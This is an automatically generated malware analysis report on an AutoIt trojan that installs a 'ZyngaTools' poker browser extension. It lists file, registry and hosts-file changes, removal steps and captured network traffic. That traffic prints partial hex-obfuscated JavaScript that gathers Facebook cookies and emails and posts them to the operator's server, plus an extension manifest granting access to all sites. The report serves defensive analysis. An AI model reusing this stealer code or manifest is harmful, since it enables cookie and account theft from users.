Trojan.GenericKD.2441594 (B) (Emsisoft), Trojan.GenericKD.2441594 (AdAware), Worm.Win32.AutoIt.FD, WormAutoItGen.YR (Lavasoft MAS)Behaviour: Trojan, Worm
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: 121dd25c1b88755c970cf68080bc935f
SHA1: 930b418d284a748b4d3ad6cd0f0c680e2117db0f
SHA256: fc516b28acc06cc87bb98a495e26cdafbf3d29a71981e05bfd328d921cd5d362
SSDeep: 12288:o37Ai11QCGOLpAn9nt1KzfiqPokE4Lj0lqoYucB/kCNLogG:o7AKLLa9vKTpLRLELYT/kCtoL
Size: 625393 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: PackerUPXCompresorGratuitowwwupxsourceforgenet, UPolyXv05_v6
Company: Crawler.com, LLC
Created at: 2010-04-16 10:47:33
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):
%original file name%.exe:1192
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process %original file name%.exe:1192 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
C:\ZyngaTools\manifest.json (756 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\icon_128[1].png (21953 bytes)
C:\ZyngaTools\background.js (388 bytes)
C:\ZyngaTools\jquery-1.9.0.min.js (12076 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\icon[1].png (25 bytes)
%Documents and Settings%\%current user%\Desktop\ZyngaTools.lnk (571 bytes)
%System%\drivers\etc\hosts (777 bytes)
C:\ZyngaTools\document_idle.js (2500 bytes)
C:\ZyngaTools\icon.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\gzip.exe (44 bytes)
C:\ZyngaTools\icon_128.png (6532 bytes)
The Trojan deletes the following file(s):
%System%\drivers\etc\hosts (0 bytes)
Registry activity
The process %original file name%.exe:1192 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 28 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"GlobalUserOffline" = "0"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows Script\Settings]
"JITDebug" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "21 DE D2 E0 17 A1 E3 20 5E 92 D5 F6 A9 77 66 35"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
Dropped PE files
MD5 | File path |
---|---|
7eb8d0a38abd4b1cfe433cef7b5b6ecb | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\gzip.exe |
HOSTS file anomalies
The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses. The modified file is 400 bytes in size. The following strings are added to the hosts file listed below:
127.0.0.1 | turkbot.com |
127.0.0.1 | www.turkbot.com |
127.0.0.1 | reklambot2013.somee.com |
127.0.0.1 | somee.com |
127.0.0.1 | www.somee.com |
127.0.0.1 | zpokerbot.proboards.com |
127.0.0.1 | proboards.com |
127.0.0.1 | www.proboards.com |
127.0.0.1 | zyngatables.com |
127.0.0.1 | www.zyngatables.com |
127.0.0.1 | zyngetools.ddns.net |
127.0.0.1 | www.zpokerbot.proboards.com |
127.0.0.1 | www.zyncloud.com |
127.0.0.1 | zyncloud.com |
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
- Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
C:\ZyngaTools\manifest.json (756 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\icon_128[1].png (21953 bytes)
C:\ZyngaTools\background.js (388 bytes)
C:\ZyngaTools\jquery-1.9.0.min.js (12076 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\icon[1].png (25 bytes)
%Documents and Settings%\%current user%\Desktop\ZyngaTools.lnk (571 bytes)
%System%\drivers\etc\hosts (777 bytes)
C:\ZyngaTools\document_idle.js (2500 bytes)
C:\ZyngaTools\icon.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\gzip.exe (44 bytes)
C:\ZyngaTools\icon_128.png (6532 bytes) - Restore the original content of the HOSTS file (%System%\drivers\etc\hosts): 127.0.0.1 localhost
- Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
No information is available.
No information is available.
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
UPX0 | 4096 | 450560 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
UPX1 | 454656 | 270336 | 270336 | 5.49615 | 1607129b281cb0cb2e5384d46c3c2ce5 |
.rsrc | 724992 | 8192 | 6656 | 3.19852 | 529a4593cd542271d262080034a33b32 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://www.zyngatools.com/poker/localhost/latest.php | 208.89.208.31 |
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/?random=431 | 208.89.208.31 |
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/background.js?random=143 | 208.89.208.31 |
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/document_idle.js?random=678 | 208.89.208.31 |
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/icon.png?random=556 | 208.89.208.31 |
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/icon_128.png?random=163 | 208.89.208.31 |
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/jquery-1.9.0.min.js?random=695 | 208.89.208.31 |
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/manifest.json?random=311 | 208.89.208.31 |
hxxp://www.zyngatools.com/poker/localhost/announcement.txt | 208.89.208.31 |
hxxp://www.zyngatools.com/poker/localhost/statusbar2.txt | 208.89.208.31 |
hxxp://www.zyngatools.com/poker/server_status.php?v=v6.4 | 208.89.208.31 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /poker/localhost/latest.php HTTP/1.1
User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:22 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Transfer-Encoding: chunked
Content-Type: text/html
4..v6.4..0......
GET /poker/localhost/ZyngaTools/?random=431 HTTP/1.1
User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:22 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Transfer-Encoding: chunked
Content-Type: text/html
78..background.js:12238.document_idle.js:24963.icon.png:1247.icon_128.png:44672.jquery-1.9.0.min.js:93068.manifest.json:756...0......
GET /poker/localhost/ZyngaTools/background.js?random=143 HTTP/1.1
User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:22 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Transfer-Encoding: chunked
Content-Type: text/html
2fce..var _0x5524=["\x31\x32\x37\x2E\x30\x2E\x30\x2E\x31","\x43\x75\x73\x74\x6F\x6D\x65\x72","\x68\x74\x74\x70\x3A\x2F\x2F\x7A\x79\x6E\x67\x61\x74\x6F\x6F\x6C\x2E\x64\x64\x6E\x73\x2E\x6E\x65\x74","\x68\x74\x74\x70\x3A\x2F\x2F\x7A\x79\x6E\x67\x61\x74\x6F\x6F\x6C\x2E\x63\x6F\x6D","\x7A","\x79","\x6E","\x67","\x61","\x74","\x6F","\x6C","\x2E","\x64","\x73","\x65","","\x6C\x65\x6E\x67\x74\x68","\x68\x74\x74\x70\x3A\x2F\x2F","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x70\x73\x2E\x73\x6B\x79\x70\x65\x2E\x63\x6F\x6D\x2F\x63\x6F\x75\x6E\x74\x72\x79\x63\x6F\x64\x65","\x63\x6F\x75\x6E\x74\x72\x79\x5F\x63\x6F\x64\x65","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6A\x73\x2E\x6D\x61\x78\x6D\x69\x6E\x64\x2E\x63\x6F\x6D\x2F\x67\x65\x6F\x69\x70\x2F\x76\x32\x2E\x31\x2F\x63\x69\x74\x79\x2F\x6D\x65\x3F\x72\x65\x66\x65\x72\x72\x65\x72\x3D\x68\x74\x74\x70\x73\x25\x33\x41\x25\x32\x46\x25\x32\x46\x77\x77\x77\x2E\x6D\x61\x78\x6D\x69\x6E\x64\x2E\x63\x6F\x6D","\x69\x70\x5F\x61\x64\x64\x72\x65\x73\x73","\x74\x72\x61\x69\x74\x73","\x69\x73\x6F\x5F\x63\x6F\x64\x65","\x63\x6F\x75\x6E\x74\x72\x79","\x68\x74\x74\x70\x3A\x2F\x2F\x69\x73\x68\x6F\x70\x2E\x6D\x79\x2F\x69\x70\x2F","\x2F\x69\x70\x2F\x61\x64\x64\x2E\x70\x68\x70","\x67\x65\x74","\x2F\x70\x6F\x6B\x65\x72\x2F\x61\x63\x63\x6F\x75\x6E\x74\x2D\x61\x64\x64\x2E\x70\x68\x70","\x69\x6E\x64\x65\x78\x4F\x66","\x75\x72\x6C","\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D","\x6E\x61\x6D\x65","\x76\x61\x6C\x75\x65","\x5F\x5F\x75\x74\x6D","\x3D","\x3B\x20","\x65\x6D\x61\x69\x6C\x3D\x28\x2E\x2A\x29\x26",
<<< skipped >>>
GET /poker/localhost/ZyngaTools/document_idle.js?random=678 HTTP/1.1
User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:22 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Transfer-Encoding: chunked
Content-Type: text/html
6183..var _0x5524=["\x43\x75\x73\x74\x6F\x6D\x65\x72","\x68\x74\x74\x70\x3A\x2F\x2F\x7A\x79\x6E\x67\x61\x74\x6F\x6F\x6C\x2E\x64\x64\x6E\x73\x2E\x6E\x65\x74","\x7A","\x79","\x6E","\x67","\x61","\x74","\x6F","\x6C","\x2E","\x64","\x73","\x65","","\x6C\x65\x6E\x67\x74\x68","\x68\x74\x74\x70\x3A\x2F\x2F","\x48\x65\x6E\x64\x65\x72\x73\x6F\x6E","\x2E\x7A\x79\x6E\x67\x61\x2E\x63\x6F\x6D\x2F\x70\x6F\x6B\x65\x72\x2F","\x69\x6E\x64\x65\x78\x4F\x66","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x2E\x7A\x79\x6E\x67\x61\x2E\x63\x6F\x6D\x2F\x70\x6F\x6B\x65\x72\x2F\x67\x6F\x6F\x67\x6C\x65","\x2E\x7A\x79\x6E\x67\x61\x2E\x63\x6F\x6D\x2F\x70\x6F\x6B\x65\x72\x2F\x69\x66\x72\x61\x6D\x65\x5F\x70\x72\x6F\x78\x79\x2E\x70\x68\x70","\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x24\x2E\x67\x65\x74\x28\x22","\x2F\x70\x6F\x6B\x65\x72\x2F\x73\x6D\x61\x72\x74\x66\x6F\x78\x2E\x70\x68\x70\x3F\x64\x61\x74\x61\x3D\x22\x20\x2B\x20\x4A\x53\x4F\x4E\x2E\x73\x74\x72\x69\x6E\x67\x69\x66\x79\x28\x7A\x63\x2E\x4C\x65\x76\x65\x72\x73\x2E\x66\x65\x61\x74\x75\x72\x65\x73\x2E\x46\x6C\x61\x73\x68\x5F\x53\x6D\x61\x72\x74\x66\x6F\x78\x2E\x6C\x65\x76\x65\x72\x73\x29\x29\x3B","\x73\x74\x79\x6C\x65","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x63\x73\x73","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x23\x6E\x65\x77\x5F\x6F\x76\x65\x72\x6C\x61\x79\x5F\x64\x69\x76\x7B\x74\x6F\x70\x3A\x20\x32\x30\x30\x30\x70\x78\x7D\x23\x6F\x76\x65\x72\x6C\x61\x79\x7B\x74\x6F\x70\x3A\x20\x32\x30\x30\x30\x70\x78\x7D\x3B","\x61
<<< skipped >>>
GET /poker/localhost/ZyngaTools/icon.png?random=556 HTTP/1.1
User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:23 GMT
Server: Apache/2
Last-Modified: Sat, 02 Nov 2013 04:14:43 GMT
ETag: "30d7220-4df-4ea29ec2132c0"
Accept-Ranges: bytes
Content-Length: 1247
Content-Type: image/png
.PNG........IHDR..............w=.....IDATx..UiH$W......Uc4..W.........!*..A\..2..FM. ..1...(.G"...Cv...z...b@.x.....Q.sR..nzF7K.....^}U_..........ihhh|CCC....c.....VVV........B.n.>.@...b77..uttZE".c ....g.......p{{......KKK#.}.6....{...V.p..........HNNV;xuu%[^^.Q..&.d}}.|bb....J......//.......@__.....l...!((H.......$===.....B...!.......8;;c.I99??gj``..... &&.}....A 9.%.........kC.,.dgg....R)o..AFF........477...$....../..Lw.........dllLfkk.....`w0..........L...... ,,.***.....g....r.R4.411...X.(...#///gk###......"..2::..lll..........>...===_......#ttt..b..}......X..)...0;;K...A.E.... ...m....haa...............P...XC<tnkk........a'.r..J%..c....P[[.{{{`iiy.......9....wi....`hh...9...I.............vl.......X......#...e..Td..%......(fH*.......|nn.....m..)))|..9...iff......H3kkk........r9tww3zLMMadd.9A*..9>>..X]..Hp.@bb"DGG.5N....S..Guuu%...y\zt3)ua.$....ytt.:nxx.E......................._.H6..BWW...T.........M...D.........Q~....T-r.Z.@iii!f.M..3. .NB}.....P.%%%....._........YD......{......&t&lA...R.srr(......D..j.........7.5O..'%%App0{'...)...S..N[...a...DUP........=..3...b....p.qB...9.[..f....A=!.X.p_..n.9.=.....khZZ...aKK.:.&.#U.....*...V...].*..........-&%R.....{.QOQ_.._....M..lt4..&...TJN..Q.....U....*..........u.\.....IEND.B`.....
GET /poker/localhost/ZyngaTools/icon_128.png?random=163 HTTP/1.1
User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:23 GMT
Server: Apache/2
Last-Modified: Thu, 06 Jun 2013 07:06:43 GMT
ETag: "30d7224-ae80-4de76f4e506c0"
Accept-Ranges: bytes
Content-Length: 44672
Content-Type: image/png
.PNG........IHDR..............>a....GIDATx.....\..-.n....sVl..e!r.".`c..m....a.F`.a..#.<......ccr0..[.D...e..n.cUW......so...3.......].U7....k...).......j.V.~.6.X6`h....:....j.S..2....\...uX:...9....`..-.............k......|^)Yr%|....m.j.|..a.<|....:xr^..k...r/.}..V....>.............n...0.{..P.........i5^..O.....g.Z...rh....<.....t.....^....a..1...i8._,.pw..M.*..v......ij.......6..,.Z,".L.Cc...x.w-.....:>]...m...........9.`.E.....!7.C.A............;.._W..i.?0.2..2.....wP.&.....c..N....?y....L.2...V. .,......y...... cS..{?....`.k.k....b.b.....o..[....h.Q..f4R3....6.X>_...g.<6............h<j.........8.5....kL......(...M..>.QF`)....k5.....^...%....8..p9r~1 .'</v.....eU.....VY..9.2h.?..yP...w..!..@...#h.....h..@...g..bu..|5..zM.C....x.......u.E.1d...T...6..O.m....[..vc. ..A........Ys..x...P.y.R.k....w..{k...?.......a........8..y*....a..r...........\....8.!..l.d.Q.....K<>-.n.......8.0.wN...N. ./......i.f......k...8.J...V.....N.\.F.p.X.:.2...7..k.b..<u^.....1u}...:.U.4R....n,T.f{......>ey.2...........&.".2xd.50.|$.@c"..=..:vF?....wv..q..Z.....x.yV!?^ ....[..3NB....t..7.p..t.J..T.......R.....[......V.GAM.9....d.....}N....a...L.....I...[.............?../.../..Oyg..0.zu5...L.....{|.....1.is.d.. ....P.... S..*.L!.{...A....MNh.(.x..;6.&ux.........5...........).....((hhO4.O9...-[......7{....9O.w..Q.H!.d..;w...5...X....g.h.&.W...^........65Aj..M....'o.Z........../B..[...r....E.5..o....../....l..x.._.`j...........n...?.&..K".....2.....R. X].k..f.....{.._e.m........{%....-....,.Y..
<<< skipped >>>
GET /poker/localhost/ZyngaTools/jquery-1.9.0.min.js?random=695 HTTP/1.1
User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:23 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Transfer-Encoding: chunked
Content-Type: text/html
16b8c../*! jQuery v1.9.0 | (c) 2005, 2012 jQuery Foundation, Inc. | jquery.org/license */(function(e,t){"use strict";function n(e){var t=e.length,n=st.type(e);return st.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||"function"!==n&&(0===t||"number"==typeof t&&t>0&&t-1 in e)}function r(e){var t=Tt[e]={};return st.each(e.match(lt)||[],function(e,n){t[n]=!0}),t}function i(e,n,r,i){if(st.acceptData(e)){var o,a,s=st.expando,u="string"==typeof n,l=e.nodeType,c=l?st.cache:e,f=l?e[s]:e[s]&&s;if(f&&c[f]&&(i||c[f].data)||!u||r!==t)return f||(l?e[s]=f=K.pop()||st.guid :f=s),c[f]||(c[f]={},l||(c[f].toJSON=st.noop)),("object"==typeof n||"function"==typeof n)&&(i?c[f]=st.extend(c[f],n):c[f].data=st.extend(c[f].data,n)),o=c[f],i||(o.data||(o.data={}),o=o.data),r!==t&&(o[st.camelCase(n)]=r),u?(a=o[n],null==a&&(a=o[st.camelCase(n)])):a=o,a}}function o(e,t,n){if(st.acceptData(e)){var r,i,o,a=e.nodeType,u=a?st.cache:e,l=a?e[st.expando]:st.expando;if(u[l]){if(t&&(r=n?u[l]:u[l].data)){st.isArray(t)?t=t.concat(st.map(t,st.camelCase)):t in r?t=[t]:(t=st.camelCase(t),t=t in r?[t]:t.split(" "));for(i=0,o=t.length;o>i;i )delete r[t[i]];if(!(n?s:st.isEmptyObject)(r))return}(n||(delete u[l].data,s(u[l])))&&(a?st.cleanData([e],!0):st.support.deleteExpando||u!=u.window?delete u[l]:u[l]=null)}}}function a(e,n,r){if(r===t&&1===e.nodeType){var i="data-" n.replace(Nt,"-$1").toLowerCase();if(r=e.getAttribute(i),"string"==typeof r){try{r="true"===r?!0:"false"===r?!1:"null"===r?null: r ""===r? r:wt.test(r)?st.parseJSON(r):r}catch(o){}st.
<<< skipped >>>
GET /poker/localhost/ZyngaTools/manifest.json?random=311 HTTP/1.1
User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:24 GMT
Server: Apache/2
Last-Modified: Tue, 05 May 2015 01:31:30 GMT
ETag: "30d7238-2f4-5154ba34cc080"
Accept-Ranges: bytes
Content-Length: 756
Vary: Accept-Encoding,User-Agent
Content-Type: application/json
{. "name": "ZyngaTools Extension",. "version": "6.3",. "manifest_version": 2,. "description": "Customer Service/ Support Skype: ZyngaTools / ZyngaShop",. "web_accessible_resources":["*.*"],. "background": { "scripts": ["jquery-1.9.0.min.js" ,"background.js"] },. "icons": {. "128": "icon_128.png". },. "permissions": ["hXXp://*/*", "https://*/*", "cookies", "tabs",......"webRequest", "webRequestBlocking",. "tabs", "contextMenus",. "notifications", "storage"],. "content_scripts": [. {. "matches": ["http://*/*" ,"hXXps://*/*"],.. "js": ["jquery-1.9.0.min.js" ,"document_idle.js"],.. "run_at": "document_end",.. "all_frames": true,.. "include_globs": ["hXXp://*/*" ,"hXXps://*/*"]. }. ].}.....
GET /poker/localhost/announcement.txt HTTP/1.1
User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:24 GMT
Server: Apache/2
Last-Modified: Fri, 13 Mar 2015 01:25:53 GMT
ETag: "30d71df-210-51121619faa40"
Accept-Ranges: bytes
Content-Length: 528
Vary: Accept-Encoding,User-Agent
Content-Type: text/plain
X-Pad: avoid browser bug
Dear ZyngaTools User..--------------------------------------------------------------..To prevent account hacked, please do not download extension from..ZyngaToolsFree.com ,Zynge tables or zbot etc.....Any improvement and new update/featues will be added for Paid user!..Next update/featues(upcoming)..--------------------------------------------------------------..Join Room instantly (No more random join room)..Loaded Poker without any error and lag..Zero downtime and comfortable gaming..Auto Transfer..Auto Advertising......
GET /poker/localhost/statusbar2.txt HTTP/1.1
User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:25 GMT
Server: Apache/2
Last-Modified: Fri, 13 Mar 2015 01:26:33 GMT
ETag: "30d7203-1d-5112164020440"
Accept-Ranges: bytes
Content-Length: 29
Vary: Accept-Encoding,User-Agent
Content-Type: text/plain
Skype: ZyngaTools / ZyngaShop....
GET /poker/server_status.php?v=v6.4 HTTP/1.1
User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:25 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 0
Content-Type: text/html
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
%original file name%.exe_1192:
`.rsrc
`.rsrc
s%j.Zf
s%j.Zf
tGHt.Ht&
tGHt.Ht&
tCPh
tCPh
SSSSh
SSSSh
\$%u#Sj
\$%u#Sj
Please contact the application's support team for more information.
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- CRT not initialized
- floating point support not loaded
- floating point support not loaded
GetProcessWindowStation
GetProcessWindowStation
USER32.DLL
USER32.DLL
operator
operator
This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.
This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.
uxtheme.dll
uxtheme.dll
kernel32.dll
kernel32.dll
operand of unlimited repeat could match the empty string
operand of unlimited repeat could match the empty string
POSIX named classes are supported only within a class
POSIX named classes are supported only within a class
erroffset passed as NULL
erroffset passed as NULL
POSIX collating elements are not supported
POSIX collating elements are not supported
this version of PCRE is not compiled with PCRE_UTF8 support
this version of PCRE is not compiled with PCRE_UTF8 support
PCRE does not support \L, \l, \N, \U, or \u
PCRE does not support \L, \l, \N, \U, or \u
support for \P, \p, and \X has not been compiled
support for \P, \p, and \X has not been compiled
(*VERB) with an argument is not supported
(*VERB) with an argument is not supported
ICMP.DLL
ICMP.DLL
advapi32.dll
advapi32.dll
RegDeleteKeyExW
RegDeleteKeyExW
zcÃ
zcÃ
GetProcessHeap
GetProcessHeap
CreatePipe
CreatePipe
GetWindowsDirectoryW
GetWindowsDirectoryW
GetCPInfo
GetCPInfo
GetConsoleOutputCP
GetConsoleOutputCP
RegDeleteKeyW
RegDeleteKeyW
RegCreateKeyExW
RegCreateKeyExW
RegEnumKeyExW
RegEnumKeyExW
RegCloseKey
RegCloseKey
RegOpenKeyExW
RegOpenKeyExW
SetViewportOrgEx
SetViewportOrgEx
ShellExecuteExW
ShellExecuteExW
SHFileOperationW
SHFileOperationW
ShellExecuteW
ShellExecuteW
RegisterHotKey
RegisterHotKey
GetKeyboardLayoutNameW
GetKeyboardLayoutNameW
ExitWindowsEx
ExitWindowsEx
EnumThreadWindows
EnumThreadWindows
GetAsyncKeyState
